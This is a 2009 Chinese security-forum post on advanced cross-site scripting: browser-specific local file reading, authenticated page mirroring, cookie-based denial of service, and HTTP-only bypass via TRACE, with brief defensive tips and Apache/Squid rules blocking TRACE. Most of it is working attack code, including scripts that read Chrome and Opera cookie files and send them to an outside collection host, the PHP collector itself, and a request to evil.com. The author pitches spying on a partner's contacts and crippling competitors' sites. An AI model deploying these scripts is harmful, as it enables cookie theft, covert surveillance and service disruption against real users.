XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
. m2 t5 F# `: }9 E0 h% }+ v, z本帖最后由 racle 于 2009-5-30 09:19 编辑

- g# [( A! j/ X3 _- v) s3 sXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
! M3 r7 q, Z- y4 m! \( H. V; d+ XBy racle@tian6.com   
9 M* K: O5 }3 j. P, [$ E; Uhttp://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权
3 [: B" V$ c) m- K, p" {
4 m/ P" l& N" ~+ V

; [; ]  k3 Z& ~9 j7 s$ l1 J- f-------------------------------------------前言---------------------------------------------------------

" @  i5 w: _6 ^' b4 @& H4 v, K9 s
5 P4 H5 j/ u2 J6 o本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
, w9 m! P9 w. Z. M% [8 C( p

8 ^+ c: V, e, m: e4 r如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
2 P5 }- }; a, Z. M3 N4 Shttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
# h. i, B- S. Whttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
' {) U2 j: j# _, z) r) khttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
, m$ x: `( R, M2 i* w  @http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持

4 S$ k+ B5 K3 C
0 G) ?7 ^; k/ r) p7 {# B( w
+ N- |- L& C7 _/ A4 h* d9 @
% t7 H+ F7 K) P  l# J如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
8 _. E. h0 n- x$ A7 }9 Y. N" b. Y: B
9 I2 z1 j$ a: j5 H/ q希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

& ~& m. m- b, n/ O. I6 t% IQQ ZONE,校内网XSS     感染过万QQ ZONE.

+ ?+ R* O* k1 u6 I% `: q4 yOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
+ G' E! ~2 z+ E  m
..........
7 L% _; N* d! l9 i' E复制代码------------------------------------------介绍-------------------------------------------------------------
! {* [3 F: {5 h; ^1 n5 @: I
* Q" Q' w$ \1 b+ U/ y什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
* p3 o9 i- @4 h+ [. B0 U- I


跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
* n. Y$ k4 |" F8 r" W7 j; k
# D7 Y+ d+ F+ w# o) t3 S3 M

如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
- \3 r! f' g- s( Z0 @* H( P复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:
4 d: L0 i8 a' |  @, b; b
1        通过XSS,我们能实现什么?
& C3 ~5 Q2 I5 {3 U# T
2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

4        XSS漏洞在输出和输入两个方面怎么才能避免.
$ r- j& P% D# V; ]5 `( x

7 Q2 P: @* M* j/ H8 X6 ]
------------------------------------------研究正题----------------------------------------------------------


6 {0 @- t& K! X9 z* B$ \3 W* G
通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
+ Y0 a' \6 {& f1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
  ?, h/ f- N0 t  z) l/ {4 b2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
( x( E  t0 ^' K/ f  R6 v3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
; V- f' N- Q2 ^5 m+ G$ a2 v4:Http-only可以采用作为COOKIES保护方式之一.

  f; D3 U+ `2 d+ H6 W' h- y. R
8 x7 S1 I  Q' |

5 R7 j) ^$ m2 e$ j
* a+ {, I8 L1 w3 M1 G- H% M+ r(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
8 ^5 i; i. f! V3 a5 r
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
) o" d/ R6 H5 H3 T! f& G/ {

1 ^* W$ j" r" H
$ ]! C$ N  ~% J/ S# i    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。



" x1 d" D7 y+ }+ c! y% q8 f    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
) c. R- H5 y# `& t
6 E7 k& m/ f; k# u' H
$ E, D1 A5 c! \
! C9 Z7 Y) g1 K! O2 u% O. z! \) ?    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
9 l+ N) i2 f  H复制代码IE6使用ajax读取本地文件    <script>
2 B. q. M1 ?8 V( A$ g) \0 S5 y: G1 _
+ B1 n: c2 N, y$ s& J* a    function $(x){return document.getElementById(x)}
! N+ ^- ^, r" ~; w7 Q! E; [5 B
! }. U) [. V! a9 i7 C" B
$ J% R3 X! P5 N$ X
8 k- w. |1 Q% e2 \6 v    function ajax_obj(){
7 h% V/ l5 J) O  W
* i: Y) s4 S/ o* ~7 f/ I    var request = false;
4 A) ~. S* _( D
    if(window.XMLHttpRequest) {
" d* D0 F1 t6 _) R* p: U
    request = new XMLHttpRequest();

1 s! `  D; ]6 `6 U    } else if(window.ActiveXObject) {

5 G1 U# q- N4 {    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
4 e4 G5 u" M- h% P+ e5 c9 t

5 f7 F4 [& |) j4 _
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
) W" q9 {9 ]4 D0 h: D+ A
    for(var i=0; i<versions.length; i++) {

+ @# r( O1 R8 h7 w    try {
; l% P+ z+ w: g; s% [
5 E4 z$ m& H7 V8 t9 \' l    request = new ActiveXObject(versions);
: j4 ]9 w/ f/ J+ c
0 l: Q/ r9 [$ `3 x  _  E4 d0 |    } catch(e) {}
* B' y; Q1 v% u" G/ j
8 m( g! z4 @' F8 k' I( w    }
0 |' ]8 o8 a) J+ p7 W$ p# w8 ^
    }

    return request;
9 P/ [/ s) l( m) F) J, J& I( I  A& R7 f
: b; r7 U" W. I! G& }    }

+ y! b5 a& M, B$ q. u8 @* }    var _x = ajax_obj();
) v/ c8 P4 Y. q0 T* Z" S
* V  J0 J3 Z6 C" `( I    function _7or3(_m,action,argv){
- i5 e) y; C' P* ?
    _x.open(_m,action,false);

, \2 r% G3 `* L4 ]) z    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
; X( W9 H) j0 B0 e% l) {' |4 ?1 b, s
    _x.send(argv);
- R2 d: _" z0 g7 p& b, A
1 a! F' b# e4 O$ b& e- q    return _x.responseText;

    }
) G/ n  b* A3 ^0 D+ H, ]! x
1 l. Z1 q; h1 R% C$ O
/ s, M/ c5 e  o6 e1 G
4 D- L2 Q+ B# g2 S3 E    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
( L) g. y+ S" q' S1 u
  d$ N2 A2 k0 n+ e/ n" I    alert(txt);

1 i& a& v4 w  _

    </script>
! f1 b1 P( @& Z9 k. K9 S- S$ R1 l复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
2 V) \5 m1 Y9 [- N1 s
; F9 q' ^& `* A) P+ n2 N4 e8 l8 K& x. A! R    function $(x){return document.getElementById(x)}

" p* g. |" Y% g; K8 a: W

    function ajax_obj(){
1 E5 m0 H" O& ^- b" h  w2 l# h# j
    var request = false;

    if(window.XMLHttpRequest) {

+ h, N9 D" B* R: f8 k    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {

1 M8 z+ x5 S0 r" M' w$ \1 z    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',



    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
  x  G) U/ r  a4 t. q% Z" ?
9 x- v& t1 c3 z. f0 A6 o# O8 A# r! K    for(var i=0; i<versions.length; i++) {
% T7 T8 P% D+ r% M( `
3 K! V$ O" T/ M    try {

    request = new ActiveXObject(versions);
6 v9 k/ @4 l, v5 c4 a# {6 e
    } catch(e) {}
; q0 @1 p, `/ i
3 m5 O7 f" q5 r/ |1 D! n) ^    }

    }

    return request;

8 n1 D$ S" P. e. q5 \    }

    var _x = ajax_obj();

    function _7or3(_m,action,argv){

    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
4 m8 |2 [( s7 C$ O2 h5 b8 T/ k# O# i8 x
    _x.send(argv);

8 \; s3 B5 Z2 o) o& g8 s4 ?8 |    return _x.responseText;
) A3 h, n! k6 f- Z0 J5 r+ ?
2 A: N* u3 O9 M: _1 f) d    }
  `* m7 q. C0 k: H# p
6 o3 t( l4 c, E6 \, r$ E
: V% x- H; T9 E3 _) I: T& f
) a- D4 v  c% w: A. P9 `    var txt=_7or3("GET","1/11.txt",null);
& [& d( J8 ]* w' L* }( q8 ^
5 e2 i* R# u8 K) ^6 a" B- }. ^    alert(txt);



    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”

5 N5 ]% t2 k' n+ V
' C- _' F9 d4 G' [6 T
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
' S% j9 e) r. |+ p8 q

7 b6 Q0 s9 C2 h5 Q" E
<?   
( w9 B: _+ X4 W
/*  
2 {! N) _) z* X+ g
6 o. g2 J% ~- l7 P$ |     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

" o1 e0 l/ I5 h6 ], Y$ T' l     www.inbreak.net   

     author voidloafer@gmail.com 2009-4-22   
" _, r& k/ g5 D1 U+ D4 q% G6 J' P
     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
2 S* e1 M4 l& Z8 R, _( N- `
*/  
3 a0 V- C# i- ^/ }: R9 G
header("Content-Disposition: attachment;filename=kxlzx.htm");   

# ]; R; T# I% N) g$ D. A; j( R+ Dheader("Content-type: application/kxlzx");   
  p% k4 `  V% n- {! z: t1 t
/*  

     set header, so just download html file,and open it at local.  

*/  

?>   

/ Y9 R; E7 A  |- d  M7 H7 h& a<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

     <input id="input" name="cookie" value="" type="hidden">   

</form>   
/ ^( i7 @9 b7 l  D
<script>   
4 ?2 c0 B! ~1 y$ k& l" C" V
function doMyAjax(user)   

/ z6 N6 @7 H' X' ^5 G' H{   
& `8 Z' e: @' |) Z
var time = Math.random();   
- R- r- {7 d* h% ^( X7 P: o9 g
/*  

. j# b4 {6 _% r/ Z) v" F- x6 Tthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

0 l$ O) U; `& }7 Rand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
5 w- A6 r3 G$ }4 _  e
and so on...  

* `: R% v3 w/ V7 D  C*/  

5 A0 O2 F% t) B, I. \var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

: ~3 D0 I! l" \0 b1 S   

# z. C9 L6 P) qstartRequest(strPer);   


/ F6 {6 W- J/ s4 a& W1 x
5 z; i0 i, `' y6 G}   

   
* ?9 V8 y3 C! C; X. @6 q% S* ?* o
function Enshellcode(txt)   
# j7 f3 ^4 k" A* |( N, _, y7 Z
  Y4 i1 Y9 s4 _) C{   

$ N" `- g' c$ t6 m( Y- Xvar url=new String(txt);   

var i=0,l=0,k=0,curl="";   

0 i0 J, O' M4 `! ]3 W. A! Nl= url.length;   

for(;i<l;i++){   
* D9 X+ A1 a% F/ ]
k=url.charCodeAt(i);   

if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
% Z6 `& K  r! G: {$ d& H2 W, U2 I
; T. \# p/ C& [3 d/ `$ [if (l%2){curl+="00";}else{curl+="0000";}   

' L5 P; }+ z$ \; Ocurl=curl.replace(/(..)(..)/g,"%u$2$1");   

$ T: X  N, ?' f6 m# m6 ]return curl;   

}   
$ h9 z% N1 `+ C9 D  ]
1 [3 @/ H) t* K; \0 G- u' w, m0 I   
1 }+ A: |' s3 A  d. g
3 h6 K- H, w4 q1 C2 ?3 Q   
+ q4 H3 s, i3 N- T* l$ e
' ]5 }3 p+ \/ Z7 E0 d7 `: i9 Vvar xmlHttp;   

function createXMLHttp(){   
: D4 i0 m8 J0 B
+ y1 Y( w- q" x8 T     if(window.XMLHttpRequest){   

xmlHttp = new XMLHttpRequest();           
* h; V+ A7 |, R/ e$ l. }7 ~; k) N
0 w9 ~* ~' O$ X/ H% _9 _; W3 j; E     }   

" |8 Z2 x9 N9 f/ X0 o     else if(window.ActiveXObject){   

xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

; _" T3 t7 D' A8 m8 b. h     }   
! X1 G7 X% `# T  B6 H( X1 e
}   
5 H3 x: i8 i- j" }# D# n
   

function startRequest(doUrl){   
+ m2 Z/ l" S* s% C; ~
* F4 o1 L* m3 W2 P! i9 U   

     createXMLHttp();   
6 v2 Y3 N3 I: y5 J1 x  b4 v
. ?( n1 R9 X* l) c  o$ S" a- R
5 j- D2 H: p6 }! t
     xmlHttp.onreadystatechange = handleStateChange;   
- X* p4 ~" A& U5 }* [8 Y6 H0 L


7 N5 s+ ]3 ?/ t5 a3 w2 p; v     xmlHttp.open("GET", doUrl, true);   
9 S7 {- j, p8 U8 ?


/ P: C$ d8 r4 k& P     xmlHttp.send(null);   

2 [: G8 l7 L4 Y: H



7 j" Y+ A( ~) m) A}   
4 Y. B9 n& }# [' X
   
5 _+ f5 {2 v; P5 R
function handleStateChange(){   
/ Z- F8 a1 d4 G6 }( r
     if (xmlHttp.readyState == 4 ){   
2 o1 ~6 b3 v1 i' A6 u
     var strResponse = "";   

) b9 o" [7 k) a& @' c9 K3 r4 r' Y     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
/ }; T% e2 M- h) N" B
- q: L9 C6 c9 n$ @, D) g: T; h        
! V! N& ^  ?8 Z, A
* `5 ^! ~. n8 W, Y, \9 D- S9 ^     }   
4 i/ C" C) {1 E& }
}   
) l" V+ l5 w: }/ f
; @; T/ v( t$ o   

   

) N( |1 @9 P0 [! yfunction framekxlzxPost(text)   
& Z: A& X7 j5 u8 g
{   

" Y- U; M2 {& M9 U+ g     document.getElementById("input").value = Enshellcode(text);   
0 ]1 S, v! u+ O
     document.getElementById("form").submit();   

7 I) k8 ]. t9 I) Q5 ]% C' e}   

   
; }8 R* n0 R3 |- S8 ?
doMyAjax("administrator");   
+ B! x7 |* a* ]8 f5 a! h
% A" E) G5 \" _" P   
' Q) G- @' H! J' f% M  n
& {# U& I! t. p7 F- c' r</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
8 G0 a3 `. m% O2 F
var xmlHttp;  

7 \7 d. p' E" W' O1 o" I* lfunction createXMLHttp(){  
( x$ O* B$ c/ X( N
. r% M, _* M* G+ D9 f( {     if(window.XMLHttpRequest){  

         xmlHttp = new XMLHttpRequest();         
3 l" z& `& S. X6 A: O+ E
4 K+ T/ l  S' k1 b! Z- \8 @     }  
+ d! m3 o1 E4 z% W5 s7 N9 R0 X
     else if(window.ActiveXObject){  

         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

# |7 F  i8 x* ?9 P  N6 n5 B     }  
3 r( D$ B+ j& z/ X0 q
}  
: f! _5 M! w. b  m4 W. s
" Q1 Z: p, P% ?* ]/ Z9 d   
7 ^, ?* [% V7 B' V
/ i9 n5 i4 G4 Q. k( h# Mfunction startRequest(doUrl){  
1 c. F  u2 m. ~6 ^% I% J$ O' f9 B4 [" K
           

     createXMLHttp();  
3 b' |' k8 Y' w0 v' A- O  c% n; `3 k5 H
      

     xmlHttp.onreadystatechange = handleStateChange;  

/ M; s5 v3 o/ f      
" o! [) C3 g. l" f/ C( q
     xmlHttp.open("GET", doUrl, true);  

8 C6 I5 B% g$ x1 `0 \: t4 u      
# L: y- X* m+ Y) D5 u, o' x
     xmlHttp.send(null);  

      

, N  s, h) L% d4 U- j( ?      
! s3 Y% p1 g+ x; q/ ?3 X' K
, X  c! m. v) P! D7 k% M5 i+ G}   

   

function handleStateChange(){  

     if (xmlHttp.readyState == 4 ){  

2 f9 d" w3 B5 ~9 ~9 v) x             var strResponse = "";  

             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
% S& B% y6 \8 X! _$ `! X# ~9 q
               

# j- C6 k8 _# o% k7 B1 J8 G     }  

}  

& `! C0 ?& O  N) j8 z4 Q6 R- g& C   

function doMyAjax(user,file)  

{  

         var time = Math.random();  

           

         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
7 r1 A3 s$ n# E" h) f3 U( J
           

         startRequest(strPer);  

      
! K- H) ?- a$ |
8 E$ d& y9 N3 a1 d6 o3 s- q, `}  

$ K' |& ?2 F3 x. x# \  A1 x, |   
" y3 G9 M1 m  p$ R" g% P' z
function framekxlzxPost(text)  

{  
# Z' o, C' B% O
     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

8 g  b  \' e) e     alert(/ok/);  
) H* a9 L' r9 R6 ^) ~  b# {
}  
  z5 P7 z- \1 V! p% Y; j, _5 j
9 b* D; _8 ~4 \: |7 u  W   

- {6 _  c$ g; C, Q% `( O( K' ddoMyAjax('administrator','administrator@alibaba[1].txt');  
; a( J1 H; t/ I
, o# I1 n6 P& W$ g$ `, w/ g   
5 `2 w* W4 a7 p9 O/ }6 {7 B
5 _5 r  \& }$ i6 b) o</script>


& t' t9 i! q: W0 j% ^) B5 H


a.php

7 i% z; T2 @5 }" w6 t- P3 L
/ l0 o# @- _- o
( j& j3 w% d0 R; k; D4 G  ~9 o<?php      
1 B4 s4 ^2 n  y- `; P5 J: L
3 v# `/ {0 @# T   
6 W( ?1 N7 B) ~; k
1 H5 S6 U1 h; P2 l( b) X& u2 `: G$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

7 _) f" h8 m: \( K8 m$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

9 Y# W2 X- @* S3 @  
  f" r& o, X- [
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

fwrite($fp,$_GET["cookie"]);      
5 W0 O; d- o( N% Q& }& i5 y% a; v, D
& S$ P( }4 S  o; W' f. n& hfclose($fp);   

?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
  ~  n2 A6 [$ d5 d  i' o
( [8 j6 n+ P& J3 A9 C或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

9 @0 I. W  X1 b1 ^1 |5 s代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

1 O" r7 H/ z2 K! H( v# a* n5 I2 r//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

( N3 e  n. a8 N( h. K//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {

var image = new Image();
% Z8 o! P0 l( J2 \3 P2 D! y
image.style.width = 0;

image.style.height = 0;

image.src = s;

}
/ l6 e3 j# G' y  b/ F
  d& r" O. ~( ZgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
7 D& Y$ |) p+ x7 C" E' R4 [这里引用大风的一段简单代码:<script language="javascript">
' a/ q- E3 @" P9 e
var metastr = "AAAAAAAAAA"; // 10 A
. w2 A) l7 D% _9 [! S
var str = "";

while (str.length < 4000){

    str += metastr;

) W& @. w( D: A% V* x) e/ h# L}


; u- V0 W: x" m9 j7 f3 _$ W/ g. [
. `+ `& B( g8 d4 ~" n3 {3 udocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
; Z* c/ z* e8 w1 J& O( X
</script>

0 d$ P% ~0 t$ n7 \; r. J详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
: E- _0 B0 n/ Q; q4 @复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
( k; S& c) g+ ^7 f





) @2 ^7 c" S+ t4 _. j( M; f9 T4 b(III) Http only bypass 与 补救对策:

1 W9 C+ P/ ]  R& J0 \! v什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
, `3 j/ ?; Z3 s5 g" L. N6 f
4 r4 x+ X" R2 J& ^5 t<!--

" h# ^) Z; y: b* gfunction normalCookie() {
0 ^4 @) G3 p/ u, ^( W" ]
& B+ e+ v$ J. I2 L3 Q: qdocument.cookie = "TheCookieName=CookieValue_httpOnly";

" [$ p  s- k1 T8 H/ ralert(document.cookie);
* K3 M4 Q% a9 R" `8 a0 U
}
  I4 z/ a3 m8 Q4 K3 V


7 M/ i$ \! u  Y
, K/ Z5 M# l  I0 J- y' ?$ G5 _
) N# U( g+ ?1 j' l+ {! Q( y: U/ jfunction httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

alert(document.cookie);}

- ^8 J# q2 t; ~) D, x; f0 {" w7 A
  W7 g2 C" X5 C  I+ @0 @, K
//-->
0 ~  j4 F' p% V, i) w, [9 X
</script>
5 q( ]  f; f2 E
% y. t4 D9 v9 ?% e& `4 G# L5 K
3 l: U! e; h0 R( u- v' c+ `
$ ]+ @$ R) n( x% ^! D( b. |<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>

! z! ^$ K' U8 S2 ]3 C3 e! l

/ J8 M1 w, ?; L( jvar request = false;
$ M. z1 Q  [1 o. T0 W2 W+ u2 K
2 f( [/ ?3 E( h. N0 Y: a8 o        if(window.XMLHttpRequest) {

2 z" u3 _& ~6 H: P& Q3 ]- j' X            request = new XMLHttpRequest();

. a5 m% h9 t! n: g# Z            if(request.overrideMimeType) {

                request.overrideMimeType('text/xml');

( n0 e* f3 e; D0 u) d5 s+ V            }

( k  n. I8 K- E( f% c' u( i4 H        } else if(window.ActiveXObject) {

            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
2 ~/ I" U& i, v& o' C2 \+ ?
% B5 c+ _$ n) X% w: H            for(var i=0; i<versions.length; i++) {

9 ]" k" b4 E5 [, S  h                try {

1 F7 y' c3 d/ E0 E                    request = new ActiveXObject(versions);
5 \# f/ \: p# n1 s" N. B5 I
                } catch(e) {}
4 c: }! W+ t1 X$ z$ D+ F
/ z1 d. X3 E' C# T$ Q0 O            }

        }
7 {: o0 W" M) K' G4 [  m, l7 u: ~
xmlHttp=request;
8 Q8 Y9 N; J: X% r+ W
xmlHttp.open("TRACE","http://www.vul.com",false);

2 u$ Y" n+ I' t7 P7 P, a# pxmlHttp.send(null);
6 G0 P2 q( ]9 |4 A
xmlDoc=xmlHttp.responseText;
7 d/ L- k: ]# b  P4 o; B
6 F+ `! T6 n0 N. V% ealert(xmlDoc);

</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
4 v2 C$ g( C$ p7 X
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
" K8 C2 P- n: v. a
XmlHttp.open("GET","http://www.google.com",false);

) ~6 c* s/ [. M1 z! T* e) zXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

* H8 U8 d" ^8 ~6 `0 R2 A5 DXmlHttp.send(null);

7 B6 Y/ L$ C; Y+ {+ nvar resource=xmlHttp.responseText

5 I. k& k5 F4 ~, m) H& E8 V7 |resource.search(/cookies/);
! w3 t4 A5 }2 z
! d  c) R/ R+ e4 \* p# z......................
7 @, t2 X2 t% ~, N2 b; V
</script>




: F$ L" ^5 c" t+ D, o6 F# {
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

5 V: u, N8 W$ C) i; r+ d. k[code]
7 e, J+ V5 m* }" e  b2 k/ A
RewriteEngine On
- S+ y" v, E% w$ @5 L2 n
RewriteCond %{REQUEST_METHOD} ^TRACE
3 l. E+ x7 K2 I' x  w3 o
+ h2 A  g% Z% g+ GRewriteRule .* - [F]


4 R) c  r1 w* I0 \6 \2 K
1 @" k5 v! d7 x$ ZSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

- }1 R; J4 W; ]& g) U7 t  eacl TRACE method TRACE

...
  E* n6 O$ S" g. `6 y' |
1 t/ B8 K, M; V( c3 [% @/ Vhttp_access deny TRACE
( }6 H! c4 q% a% v% o复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
& k! w/ Q2 w! K3 m6 }
# _" s8 [  E) ^, E" [var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

) o7 i# U) s! F" vXmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
  v' z. N( ~4 s, O  X
XmlHttp.send(null);
